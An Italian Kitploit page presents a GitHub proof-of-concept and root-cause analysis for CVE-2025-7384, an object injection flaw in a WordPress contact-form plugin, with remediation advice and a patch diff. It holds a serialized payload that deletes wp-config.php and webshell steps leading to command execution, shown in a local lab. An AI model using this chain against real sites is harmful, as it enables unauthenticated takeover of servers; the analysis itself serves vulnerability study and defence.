Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-7384 — PoC di exploit e analisi della causa principale di un'iniezione di oggetti PHP critica e non autenticata in WordPress Database for Contact Form 7, che conduce a RCE tramite eliminazione arbitraria di file. | Kitploit
Strumenti/GitHubGitHub/dungsocool/cve-2025-7384
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e FormazioneLab e Pratica
GitHubdungsocool/cve-2025-7384

CVE-2025-7384

PoC di exploit e analisi della causa principale di un'iniezione di oggetti PHP critica e non autenticata in WordPress Database for Contact Form 7, che conduce a RCE tramite eliminazione arbitraria di file.

Vedi Repository
19 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-7384 — Iniezione di Oggetti PHP verso RCE

Plugin: Database for Contact Form 7 (contact-form-entries) ≤ 1.4.3
CVSS: 9.8 (Critico)
CWE: CWE-502 — Deserializzazione di dati non attendibili
Requisito di autenticazione: Nessuno (non autenticato)
Impatto: Esecuzione di codice in remoto


Sommario

  1. Panoramica della vulnerabilità
  2. Concetti correlati
  3. Analisi della causa principale (codice sorgente + debug)
  4. Catena di attacco
  5. Riproduzione passo-passo (POC)
  6. Valutazione dell'impatto
  7. Misure di rimedio

1. Panoramica della vulnerabilità

Il plugin "Database for Contact Form 7" (slug: contact-form-entries) versione 1.4.3 e precedenti contiene una vulnerabilità di Iniezione di Oggetti PHP. Quando un amministratore WordPress visualizza un record (entry) di un modulo all'interno del pannello di amministrazione, il plugin chiama la funzione maybe_unserialize() direttamente sui dati inviati da un utente non autenticato tramite Contact Form 7, senza controllare l'elenco delle classi consentite da istanziare.

Un attaccante non ha bisogno di effettuare il login — deve solo inviare un normale modulo di contatto inserendo un oggetto PHP serializzato in un qualsiasi campo del modulo. Questi dati vengono salvati grezzi nel database. Quando un amministratore apre la visualizzazione di quell'entry, la funzione di deserializzazione istanzierà un oggetto scelto dall'attaccante, attivando metodi magici come __destruct() o __wakeup() → eseguendo comportamenti arbitrari a seconda dei gadget POP disponibili nell'ambiente WordPress.

Livello di gravità: Con un gadget POP adatto (ad esempio, una classe il cui metodo __destruct() chiama unlink()), un attaccante può eliminare il file wp-config.php, riportando WordPress alla schermata di installazione iniziale → reinstallando con un account amministratore controllato dall'attaccante → installando un plugin contenente una webshell → ottenendo la piena Esecuzione di Codice in Remoto (RCE) sul server.


2. Concetti correlati

Serializzazione / Deserializzazione PHP

PHP usa serialize() per convertire un oggetto in una stringa di testo strutturata, e unserialize() per ripristinare l'oggetto da quella stringa. Quando unserialize() riceve dati da una fonte non attendibile (es. input utente), un attaccante può costruire un oggetto arbitrario appartenente a qualsiasi classe attualmente caricata nella memoria PHP in quel momento.

Metodi magici PHP

Metodi speciali che PHP invoca automaticamente durante il ciclo di vita di un oggetto. I più importanti in questo contesto:

  • __wakeup() — invocato immediatamente quando un oggetto viene unserializzato
  • __destruct() — invocato quando un oggetto viene distrutto (esce dallo scope, o la richiesta termina)
  • __toString() — invocato quando un oggetto viene convertito in stringa

Catena POP (Property-Oriented Programming)

Una tecnica che collega più metodi magici di classi esistenti all'interno dell'applicazione per costruire una sequenza pericolosa di comportamenti. L'attaccante non scrive nuovo codice — manipola solo le proprietà degli oggetti esistenti così che, quando i metodi magici vengono eseguiti, compiano azioni non volute dagli sviluppatori.

maybe_unserialize() in WordPress

Una funzione wrapper del WordPress Core. Chiama is_serialized() per verificare se una stringa è dati serializzati — se vero, chiama unserialize() per ripristinare l'oggetto. Problema: questa funzione non passa il parametro allowed_classes (disponibile da PHP 7.0) per limitare quali classi possono essere istanziate.


3. Analisi della causa principale — Scoperta della vulnerabilità dal codice sorgente

Passo 1: Trovare i punti sink (Sink Hunting)

Inizia cercando in tutto il codice sorgente del plugin le funzioni di deserializzazione — queste sono le funzioni più pericolose in PHP poiché possono portare a Object Injection:

root@kitploit:~
grep -rn "unserialize" wp-src/wp-content/plugins/contact-form-entries/

image.png

L'output rivela molteplici punti di chiamata di maybe_unserialize(), in particolare dentro includes/data.php alla riga 545 nella funzione verify_val():

image 1.png

root@kitploit:~
// data.php lines 538-548
public function verify_val($string){
    if(in_array(substr(ltrim($string),0,1), array('{','['))
       && in_array(substr(rtrim($string),-1), array('}',']'))
    ){
        $val = json_decode($string, 1);
        if(is_array($val)){ $string = $val; }
    } else if(is_serialized($string)){            // line 544
        $string = maybe_unserialize($string);     // ★ line 545 — SINK
    }
    return $string;
}

Domanda chiave: Da dove ha origine la variabile $string? Se proviene da input utente senza filtro → questa è una vulnerabilità.

Passo 2: Tracciamento all'indietro — Da dove provengono i dati?

Trova dove viene invocata verify_val(). Traccia all'indietro nello stesso file data.php:

image 2.png

root@kitploit:~
// data.php lines 520-535
public function get_lead_detail($lead_id){
    global $wpdb;
    $table = $wpdb->prefix . 'vxcf_leads_detail';
    $detail_arr = $wpdb->get_results(
        $wpdb->prepare("SELECT * FROM $table WHERE lead_id=%d", $lead_id),
        ARRAY_A
    );

    foreach($detail_arr as $k => $v){
        if(!empty($v['value'])){
            $detail_arr[$k]['value'] = $this->verify_val($v['value']);  // ← calls verify_val
        }
    }
    return $detail_arr;
}

→ $string è esattamente $v['value'] — i valori recuperati dalla tabella del database wp_vxcf_leads_detail. Questa funzione viene chiamata quando un amministratore visualizza i dettagli di un'entry del modulo.

Domanda successiva: Da dove provengono i dati dentro wp_vxcf_leads_detail? Chi li scrive?

Passo 3: Trovare i punti di scrittura dei dati (Source)

Dal Passo 2 sappiamo che i dati vengono letti dal database. Prossima domanda: chi scrive i dati al suo interno? Cerca query INSERT dentro data.php:

root@kitploit:~
grep -rn "insert" wp-src/wp-content/plugins/contact-form-entries/includes/data.php

image 3.png

Apri il codice della funzione create_lead() (righe 85-103) per i dettagli:

image 4.png

Alle righe 98-99, il valore $v — che è il contenuto di un campo del modulo (es. your-message) — viene inserito direttamente nel database tramite $wpdb->insert(). Il plugin si aggancia all'evento wpcf7_before_send_mail di Contact Form 7, quindi ogni volta che un utente invia un modulo, tutti i campi vengono salvati grezzi.

Verifica aggiuntiva: il plugin usa effettivamente sanitize_text_field() e sanitize_textarea_field() prima del salvataggio, ma queste due funzioni rimuovono solo i tag HTML e i caratteri HTML speciali — un payload serializzato come O:21:"VulnerableFileHandler":2:{...} non contiene tag HTML e quindi passa attraverso completamente intatto.

Passo 4: Conclusione — Conferma della vulnerabilità

A questo punto, il flusso completo è stabilito:

root@kitploit:~
Unauthenticated user submits CF7 form (your-message field contains serialized object)
    ↓ sanitize_text_field() — DOES NOT block serialized strings
Saved into wp_vxcf_leads_detail table (raw payload)
    ↓
Admin views entry → get_lead_detail() → verify_val()
    ↓ is_serialized() returns true
maybe_unserialize($string) — line 545 → PHP instantiates arbitrary object
    ↓
Object's __destruct() executes → performs attacker-controlled action

Causa principale: La funzione maybe_unserialize() a data.php:545 viene chiamata su dati che hanno origine da input utente non autenticato, senza passare allowed_classes: false. Un attaccante deve semplicemente inviare un oggetto PHP serializzato attraverso il campo your-message di un modulo CF7 → quando un amministratore visualizza l'entry, PHP istanzia quell'oggetto e attiva il metodo magico __destruct().

Passo 5: Verifica con debugger (Xdebug)

Per una prova visiva, imposta un breakpoint usando Xdebug alla riga 545 di data.php. Dopo aver iniettato il payload tramite il modulo e aver fatto visualizzare l'entry all'amministratore, il debugger si ferma esattamente su maybe_unserialize():

image 5.png

Pannello Variables mostra $string contenente il payload dell'attaccante:

  • $string = "O:21:\"VulnerableFileHandler\":2:{s:9:\"file_path\";s:27:\"/var/www/html/wp-config.php\";s:7:\"cleanup\";b:1;}" → il payload è viaggiato da modulo → database → funzione di deserializzazione senza essere bloccato

Riga di esecuzione:

  • Riga 545: $string=maybe_unserialize($string);

Call Stack mostra la sequenza di chiamate di funzione:

root@kitploit:~
vxcf_form_data->verify_val        data.php:545
vxcf_form_data->get_entries       data.php:388
vxcf_form::get_entries            contact-form-entries.php:2682
vxcf_form_pages->entries_page     plugin-pages.php:1017
...
WP_Hook->apply_filters            class-wp-hook.php:324
WP_Hook->do_action                class-wp-hook.php:348

→ Conferma il flusso esatto analizzato: l'amministratore visualizza l'entry → get_entries() → verify_val() → maybe_unserialize().


4. Catena di attacco

La catena di attacco è composta da 5 fasi. L'attaccante deve eseguire solo la Fase 1 (invio del modulo). Le fasi 2-5 avvengono automaticamente dopo che un amministratore visualizza l'entry.

Fase 1 — Iniettare il payload (non autenticato)

L'attaccante invia un modulo CF7 con un oggetto PHP serializzato nel campo del messaggio.

  • Endpoint: POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedback
  • Il campo your-message contiene: O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}
  • Il plugin salva il payload nella tabella wp_vxcf_leads_detail — sanitize_text_field() non blocca le stringhe serializzate

Fase 2 — Attivare la deserializzazione (in attesa dell'amministratore)

L'amministratore apre la pagina Contact Form Entries → visualizza i dettagli dell'entry → il plugin chiama verify_val() → maybe_unserialize().

  • PHP istanzia l'oggetto VulnerableFileHandler con file_path = "/var/www/html/wp-config.php" e cleanup = true
  • Quando la richiesta termina, la garbage collection di PHP invoca __destruct() → unlink("/var/www/html/wp-config.php")

Fase 3 — Eliminazione arbitraria di file

Il file wp-config.php viene eliminato → WordPress perde la connessione al database.

  • L'accesso a http://target/ → reindirizza automaticamente a /wp-admin/setup-config.php (schermata di configurazione iniziale)
  • WordPress tratta il sito come non installato

Fase 4 — Reinstallazione di WordPress

L'attaccante reinstalla WordPress usando credenziali del database note (o ottenute con forza bruta).

  • Crea un nuovo account amministratore controllato dall'attaccante
  • Accede alla dashboard amministrativa con pieni privilegi di amministratore

Fase 5 — Esecuzione di codice in remoto

Installa un plugin contenente una webshell → esegue comandi di sistema arbitrari.

  • Dashboard amministrativa → Plugins → Aggiungi nuovo → Carica plugin ZIP contenente una webshell PHP
  • Accesso all'URL della webshell: /wp-content/plugins/shell/shell.php?cmd=id
  • Output: uid=33(www-data) gid=33(www-data) → RCE completata

5. Riproduzione passo-passo (POC)

5.1 Configurazione dell'ambiente

Avvia il lab Docker contenente WordPress + il plugin vulnerabile:

root@kitploit:~
cd CVE-2025-7384
docker-compose up --build -d

Attendi circa 40 secondi finché i log non mostrano LAB READY. Accedi a http://localhost:8181 per verificare che WordPress sia in esecuzione.

5.2 Identificare il punto di iniezione

Dall'analisi del codice sorgente nella Sezione 3, sappiamo che:

  • Il sink si trova a data.php:545 — maybe_unserialize() sui valori dei campi del modulo
  • La source è la tabella wp_vxcf_leads_detail — i dati provengono dal modulo CF7
  • La sanitizzazione si affida solo a sanitize_text_field() — non blocca le stringhe serializzate

→ Conclusione: basta inviare un oggetto PHP serializzato in qualsiasi campo del modulo CF7. Scegli your-message perché è una textarea, accetta stringhe lunghe e ha meno validazioni di formato (a differenza di your-email che richiede il formato email).

5.3 Iniettare il payload tramite il modulo di contatto

Accedi a http://localhost:8181/contact/, compila il modulo come segue:

CampoValore
Your namedung
Your email[email protected]
Subjecttest inject
Your messageO:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}

image 6.png

Spiegazione del payload:

  • O:21:"VulnerableFileHandler" — istanzia la classe VulnerableFileHandler (che ha __destruct() che chiama unlink())
  • s:9:"file_path";s:27:"/var/www/html/wp-config.php" — la proprietà file_path punta al file di destinazione da eliminare
  • s:7:"cleanup";b:1 — la proprietà cleanup = true così __destruct() esegue unlink()

Clicca Submit. Il modulo mostra un messaggio di errore di invio email (o successo) — irrilevante, poiché il plugin contact-form-entries ha già salvato tutti i dati nel database prima della consegna della mail.

5.4 Attivare la deserializzazione — L'amministratore visualizza l'entry

Accedi a http://localhost:8181/wp-admin (admin / admin123) → nel menu a sinistra seleziona CRM Entries → clicca per visualizzare l'entry ricevuta.

image 7.png

Questo è il momento esatto in cui l'esecuzione raggiunge data.php:545 — il plugin recupera il valore di your-message dal database, il controllo is_serialized() restituisce true, chiama maybe_unserialize() → PHP crea l'oggetto VulnerableFileHandler → la richiesta termina, __destruct() viene eseguito → unlink("/var/www/html/wp-config.php").

5.5 Confermare l'eliminazione arbitraria di file

Vai su http://localhost:8181/ nel browser → WordPress reindirizza alla pagina /wp-admin/setup-config.php (schermata di configurazione iniziale) → il file wp-config.php è stato eliminato con successo.

image 8.png

5.6 Scalare a RCE

Con wp-config.php eliminato, WordPress torna allo stato non installato. Passi dell'attaccante:

Passo 1 — Reinstallare WordPress:

Accedi a http://localhost:8181/wp-admin/setup-config.php → inserisci le credenziali del database:

CampoValore
Database Namewordpress
Usernamewpuser
Passwordwppass
Database Hostdb
Table Prefix

Clicca Submit → Esegui l'installazione → crea un nuovo account amministratore controllato dall'attaccante.

Passo 2 — Caricare la webshell:

Accedi alla dashboard amministrativa → Plugins → Aggiungi nuovo → Carica plugin → carica il file system-health.zip (o system-monitor.zip).

image 9.png

Caricamento e Attivazione riusciti.

Passo 3 — Eseguire comandi (RCE):

Accedi a: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=id

image 10.png

Output: uid=33(www-data) gid=33(www-data) → Esecuzione di codice in remoto completata

Accedi a: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=whoami

image 11.png

Output: www-data → Esecuzione di codice in remoto completata


6. Valutazione dell'impatto

*User Interaction: NVD la valuta come None perché la visualizzazione delle entry dei moduli da parte di un amministratore è un comportamento previsto, non un'interazione anomala dell'utente.

Portata reale dell'impatto

  • Il plugin "Database for Contact Form 7" ha oltre 100.000+ installazioni attive su wordpress.org
  • Qualsiasi sito WordPress che esegue questo plugin versione ≤ 1.4.3 insieme a Contact Form 7 è vulnerabile
  • L'attaccante non ha bisogno di alcuna informazione preliminare — deve solo identificare che il sito usa Contact Form 7 (facilmente rilevabile dal sorgente HTML)
  • Il payload è memorizzato persistentemente nel database, rendendo l'attacco persistente finché l'entry non viene eliminata

7. Misure di rimedio

Per gli sviluppatori del plugin

  1. Non usare maybe_unserialize() su dati forniti dall'utente. Usa json_decode() invece quando è richiesto l'archivio di dati strutturati.

  2. Se la deserializzazione è strettamente necessaria, fornisci l'opzione allowed_classes: false (PHP 7.0+):

root@kitploit:~
$data = unserialize($string, ['allowed_classes' => false]);

Questo impedisce a PHP di istanziare qualsiasi oggetto — consentendo solo tipi scalari e array.

  1. Valida i dati in ingresso al livello di archiviazione: se un campo del modulo deve contenere solo testo semplice, rifiuta qualsiasi valore che corrisponda al pattern /^[OaCis]:\d+/ (indicatore di dati serializzati).

Per gli amministratori WordPress

  1. Aggiorna immediatamente il plugin alla versione 1.4.4 o superiore
  2. Ispeziona la tabella del database wp_vxcf_leads_detail per entry contenenti stringhe con il formato O:XX:"ClassName": — la loro presenza indica tentativi di attacco
  3. Assicurati che wp-config.php abbia permessi restrittivi (440 o 400) — riducendo la probabilità di eliminazione da parte del processo del server web
  4. Implementa un WAF (Web Application Firewall) configurato con regole per rilevare oggetti PHP serializzati nei dati POST

Diff della patch (Riferimento)

root@kitploit:~
// BEFORE (vulnerable):
} else if(is_serialized($string)){
    $string = maybe_unserialize($string);
}

// AFTER (patched):
} else if(is_serialized($string)){
    $string = json_decode(json_encode(
        unserialize($string, ['allowed_classes' => false])
    ), true);
}
Scarica lo strumento
AttributoValore
ID CVECVE-2025-7384
Punteggio CVSS9.8 (Critico)
CWECWE-502 — Deserializzazione di dati non attendibili
Plugin interessatocontact-form-entries (Database for Contact Form 7) ≤ 1.4.3
Requisito di autenticazioneNessuno — chiunque invii un modulo CF7 può iniettare il payload
Condizione di attivazioneL'amministratore visualizza l'entry iniettata nel pannello di amministrazione
Impatto massimoEsecuzione di codice in remoto non autenticata
Versione corretta1.4.4+ (sostituisce unserialize con json_decode o allowed_classes: false)
wp_
Metrica CVSSValoreSpiegazione
Attack VectorNetworkSfruttabile su HTTP, nessun accesso fisico richiesto
Attack ComplexityLowRichiede l'invio di solo 1 richiesta POST contenente il payload
Privileges RequiredNoneNessuna autenticazione richiesta — il modulo CF7 è pubblico
User InteractionNone*L'amministratore visualizza le entry durante il normale flusso di lavoro
ConfidentialityHighLa RCE consente di leggere qualsiasi file sul server
IntegrityHighLa RCE consente di scrivere/modificare qualsiasi file
AvailabilityHighL'eliminazione di wp-config.php manda in crash l'intero sito web